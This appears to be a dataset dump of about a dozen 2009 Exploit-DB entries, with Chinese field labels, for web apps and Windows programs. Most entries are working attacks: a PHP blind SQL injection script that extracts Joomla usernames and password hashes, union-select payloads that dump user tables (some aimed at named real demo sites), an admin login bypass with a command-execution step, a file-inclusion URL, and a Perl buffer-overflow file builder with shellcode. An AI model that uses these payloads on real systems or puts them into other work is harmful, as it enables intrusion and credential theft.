QLWD/code_shield huggingface dataset:
标题: Joomla! Component Kunena Forums (com_kunena) - Blind SQL Injection EDB-ID: 9408 CVE: 2009-4550 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#         Joomla Kunena Forums (func) Blind SQL Injection Exploit
#
#                          MEFISTO  a.k.a  ilkerkandemir
#                        mefisto [at] hackermail . com
#                            (IMT) imhatimi.org                          
#                         Usage: target.php [site][SQL]
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
        $i = 122;
      }
   }
}
} else {
echo "\nExploiting Failed \n";
}

/*
Note:
<name>Kunena</name>
<version>1.5.3</version>
<versionname>Spreek</versionname>
<creationDate>2009-06-15</creationDate>
<build>1688</build>
<author>www.Kunena.com</author>
<authorEmail>Kunena@Kunena.com</authorEmail>
<authorUrl>http://www.Kunena.com</authorUrl>
<copyright>www.Kunena.com</copyright>
<license>GNU/GPL</license>
<description>Kunena Forum</description>
*/
?>

# milw0rm.com [2009-08-10] URL: https://www.exploit-db.com/exploits/9408
标题: Mini-CMS 1.0.1 - 'page.php' SQL Injection EDB-ID: 9406 CVE: 2009-4540 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-10 漏洞利用脚本: [+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
        exit;
        }

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
        }
?>
[+]------------------------------------------------[/CODE]--------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/CODE]--------------------------------------------------------------[+]

# milw0rm.com [2009-08-10] URL: https://www.exploit-db.com/exploits/9406
标题: Typing Pal 1.0 - 'idTableProduit' SQL Injection EDB-ID: 9390 CVE: 2009-4860 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»] Typing Pal <= 1.0 Remote SQL injection Vulnerability
==============================================================================
    [Â»] my home:            [ Hackteach.org ]
    [Â»] Script:             [ Typing Pal ]
    [Â»] Language:           [ PHP ]
    [Â»] home:               [ http://www.demarque.qc.ca/download_demo/popupDownload.asp?noProduit=63&langue=1 ]
    [Â»] Founder:            [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:          [ All member Hackteach.org/cc ]

###########################################################################



===[ Exploit SQL  ]===  
  
    [Â»] {PAHT}/demo.php?idTableProduit=-63+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20--
    [Â»] l1v3 d3m0 : http://education.demarque.com/demo.php?idTableProduit=-63+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20--
 

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-07] URL: https://www.exploit-db.com/exploits/9390
标题: Steam 54/894 - Local Privilege Escalation EDB-ID: 9386 CVE: 2015-7985 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-07 漏洞利用脚本: Steam (Multiple .exe's) Local Privilage Escalation

By:
 MrDoug
 mrdoug13[at]gmail[dot]com

Version Info:
 Steam windows client
 Built: Jun 30 2009, at 13:29:32
 Steam API: v008
 Steam Package versions: 54/894

Greetz:
 Slappywag, Doomchip, Bolo, Eliwood, and the rest.

Special Thanks:
 Jeremy Brown and Nine:Situations:Group...
 Their work led me to this.

==================================================

The latest Steam client, (and other Steam related executables)
suffer the same privilage escelation issue we saw in Adobe Acrobat NOS
the other day (http://milw0rm.com/exploits/9199).  This is particularly
bad becuase, by default, Steam starts atomaticly.  That means that as
soon as an administrator logs in... game over.

==================================================

POC:

C:\>cacls "C:\Program Files\Steam\Steam.exe"
C:\Program Files\Steam\Steam.exe BUILTIN\Users:F  <-- (Danger Will Robinson!!)
                                 BUILTIN\Power Users:C
                                 BUILTIN\Administrators:F
                                 NT AUTHORITY\SYSTEM:F

The executables listed below are also vulnerable, as well as many, MANY
more that I have not mentioned.  See for yourself.

%programfiles%\Steam\uninstall_css.exe
%programfiles%\Steam\Unwise32.exe
%programfiles%\Steam\GameOverlayUI.exe
%programfiles%\Steam\uninstall_steam.exe
%programfiles%\Steam\WriteMiniDump.exe
%programfiles%\Steam\bin\SteamService.exe

--The following are dependant on what games are installed.

%programfiles%\Steam\common\audiosurf\Audiosurf.exe
%programfiles%\Steam\common\audiosurf\testapp.exe
%programfiles%\Steam\common\audiosurf\engine\QuestViewer.exe
%programfiles%\Steam\common\left 4 dead\left4dead.exe
%programfiles%\Steam\steamapps\[username]\counter-strike source\hl2.exe
%programfiles%\Steam\steamapps\[username]\half-life 2\hl2.exe
%programfiles%\Steam\steamapps\[username]\garrysmod\hl2.exe

...etc...etc...etc...

There are probably 100 more, just look around.  I am yet to see an
executable in the Steam directory with propor permissions.

==================================================

Exploit:

So simple... write it yourself you silly goose :3

# milw0rm.com [2009-08-07] URL: https://www.exploit-db.com/exploits/9386
标题: Logoshows BBS 2.0 - 'forumid' SQL Injection EDB-ID: 9389 CVE: 2009-4871 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: __________________________________________________________________________________________________________________________

# Author                  : Ruzgarin_Oglu

# Script Name           : Logoshows BBS v2.0

# Script Download      : http://www.logoshows.com/download/bbs88.rar

# Vulnerable Type      : Sql Injection

# Demo                    : http://www.logoshows.com/bbs/

# Licence And Pricing  : $1.00 USD

# Special Thanks        : By.Ultr@si(Student lol),Fortyseven,Rawage,Daniel-Koo,Subz3rr0,By.Seyfi,Fero,Septemb0x, ve ismini sayamadÄ±ÄŸÄ±m diÄŸer dostlarÄ±m...

___________________________________________________________________________________________________________________________________

Exploit:

/globepersonnel_forum.asp?forumid=[SQL]



POC:

http://www.victim.com/[path]/globepersonnel_forum.asp?forumid=[SQL]


Example

Username:

http://www.logoshows.com/bbs/globepersonnel_forum.asp?forumid=1+union+select+0,1,2,3,4,5,6,7,8,9,10,username,12,13,14,15,16,17,18,19+from+users

Password:

http://www.logoshows.com/bbs/globepersonnel_forum.asp?forumid=1+union+select+0,1,2,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19+from+users


----Note----

Herkesin bir s*k*lme zamanÄ± vardÄ±r...
Bekleyin beni!

----Note----

# milw0rm.com [2009-08-07] URL: https://www.exploit-db.com/exploits/9389
标题: A2 Media Player Pro 2.51 - '.m3u' / '.m3l' Universal Local Buffer Overflow (SEH) EDB-ID: 9377 CVE: 2009-4549 类型: LOCAL 平台: WINDOWS 发布日期: 2009-08-06 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# A2 Media Player ProV2.51(.m3u /m3l)Universal Local Buffer Exploit (SEH)
# ## easy #### this work sooooooooo good####################################
############################################################################
##Thanks for WwW.Sec-ArT.CoM/cc team ##and 3asfh.net team###################
##AND special THANKS FOR His0k4 i respect him so much god with him #########
############################################################################
# http://download.cnet.com/A2-Media-Player-Pro/3000-2141_4-10059847.html
############################################################################
my $bof="\x41" x 4103;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x47\xa1\x01\x10";##Universal
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-06] URL: https://www.exploit-db.com/exploits/9377
标题: Banner Exchange Script 1.0 - 'targetid' Blind SQL Injection EDB-ID: 9387 CVE: 2009-5003 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-07 漏洞利用脚本: _00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Banner Exchange Script 1.0 (targetid) Remote Blind injection SQL
# [+] Software : Banner Exchange Script
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special : Moudi my Brozazaaaaaaaaaaaa
# [+] Download : http://www.e-soft24.com/banner-exchange-script-p-367.html
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
# [+] Blind
#
#  - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=1 <= True so the page is redirected
#   - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and 1=2 <= False so the page isn't redirected
#
#  - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=4 <= False so the page isn't redirected
#  - http://www.site.com/click.php?hostid=[nr1]&targetid=[nr2] and substring(@@version,1,1)=5 <= True so the page is redirected
#
#   [+] Demo
#
#    - http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=4 <= False so the page isn't redirected
#    - http://www.e-soft24.com/scripts/banner-exchange/click.php?hostid=2&targetid=56%20and%20substring%28@@version,1,1%29=5 <= True so the page is redirected
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-08-07] URL: https://www.exploit-db.com/exploits/9387
标题: TYPO3 CMS 4.0 - 'showUid' SQL Injection EDB-ID: 9380 CVE: 2009-4855 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: #-----
TYPO3 CMS 4.0  SQL-Injection Vulnerability
#-----


 #####################################################
 # [+] Author        :  CyberNaj, JxE-13             #     
 # [+] Vulnerability :  SQL injection                #
 # [+] Group         :  Ro0T-MaFia                   #
 #####################################################

#-----

 Info CMS:

 * Name      : TYPO3
 * Web       : http://typo3.org
 * dowloand  : http://typo3.org/download/packages/      
 * Country   : Venezuela
               
#-----

Vulnerability:

http://www.host.com/index.php?id=[xxx][showUid]=[SQL-injection]&cHash=[xxx]

SQL-injection: -1+union+select+username,2,password,4,5,6,7+from+be_users--

Admin Panel: /typo3/index.php

#-----

# milw0rm.com [2009-08-06] URL: https://www.exploit-db.com/exploits/9380
标题: ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) EDB-ID: 9382 CVE: 2009-2917 类型: DOS 平台: WINDOWS 发布日期: 2009-08-06 漏洞利用脚本: #!/usr/bin/python
print "ImTOO MPEG Encoder 3.1.53 (.cue/.m3u) local stack overlow POC"
print " finded by : opt!x hacker <optix@9.cn> "
print "download: http://www.soft32.com/download/63-300154-1/mpeg-encoder.exe "
junk = "\x41"*4
# file=open("crash.m3u","w")
file=open("crash.cue","w")
file.write(junk)
file.close()

# milw0rm.com [2009-08-06] URL: https://www.exploit-db.com/exploits/9382
标题: LM Starmail 2.0 - SQL Injection / File Inclusion EDB-ID: 9383 CVE: 2009-4993 2009-4992 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-06 漏洞利用脚本: _______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


  [=] LM Starmail 2.0  (home.php & paidbanner.php) SQL Injection/File Inclusion Vuln
       
       Vendor   : http://www.script-shop24.de
       Script   : LM Starmail 2.0
       Download : http://www.script-shop24.de/product_info.php/info/p68_Starmail-2-0-Paidmail.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs,Cod1K
      


       Exploit:

       http://[target]/home.php?page=[evilscript]
       http://[target]/paidbanner.php?ID=[sql]

       POC:

       http://script-demo.eu/Luxusmailer5/home.php?page=http://google.de
       http://script-demo.eu/Luxusmailer5/paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--


       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]     

# milw0rm.com [2009-08-06] URL: https://www.exploit-db.com/exploits/9383
标题: opennews 1.0 - SQL Injection / Remote Code Execution EDB-ID: 9371 CVE: 2009-2736 2009-2735 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-05 漏洞利用脚本: ####################################################################
[+] OpenNews 1.0 (SQLI/RCE) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
####################################################################

[+] Download : http://sourceforge.net/projects/opennews-sun/

[+] SQL Injection (Auth Bypass)

 - Note : magic_quotes_gpc = off

 - PoC

     http://127.0.0.1/admin.php

     Username : admin ' or ' 1=1
     Password : anything

[+] Remote Command Execution

  - PoC

    Go to

        http://127.0.0.1/admin.php?action=setconfig

    in the Overall Width write

        ';system(YOUR COMMAND);'

    then go to

        http://127.0.0.1/config.php

    to see your command result.


####################################################################

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9371
标题: Irokez CMS 0.7.1 - SQL Injection EDB-ID: 9369 CVE: 2009-4982 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-05 漏洞利用脚本: [+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]
  function select($id)
  {
  if (isset($this->_cache[$id])) {
  $data = $this->_cache[$id];
  } else {
  $data = array();
  /*
  get data
  */
  $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
  if ($is_trans) {
  $query = "select t.*, m.* from {$this->_name} m"
  . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
  . " where m.id = '$id' group by {$this->_lang}";
  } else {
  $query = "select * from {$this->_name} where id = '$id'";
  }
  $result = $this->db->exeQuery($query);

  $main_fields = $this->db->getFields($this->_name);
  if ($is_trans) {
  $trans_fields = $this->db->getFields($this->_name . $this->_trans);
  $trans_fields = array_flip($trans_fields);
  } else {
  $trans_fields = array();
  }
  unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
  $trans_fields = array_flip($trans_fields);
   
  $data = array();
  while ($row = mysql_fetch_assoc($result)) {
  foreach ($row as $field => $value) {
  if (in_array($field, $main_fields)) {
  $data[$field] = $value;
  } elseif (in_array($field, $trans_fields)) {
  $data[$field][$row[$this->_lang]] = $value;
  }
  }
  }
  if (isset($data['id'])) {
  $this->_cache[$data['id']] = $data;
  }
  }
  return $data;
  }
[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]

http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1

[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]

# milw0rm.com [2009-08-05] URL: https://www.exploit-db.com/exploits/9369